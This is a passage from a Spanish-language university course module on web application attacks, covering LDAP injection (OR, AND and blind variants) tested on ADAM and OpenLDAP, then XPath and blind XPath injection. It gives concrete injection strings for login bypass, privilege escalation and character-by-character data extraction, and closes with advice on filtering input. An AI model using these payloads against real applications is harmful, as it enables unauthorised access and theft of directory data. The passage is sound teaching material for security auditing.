mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
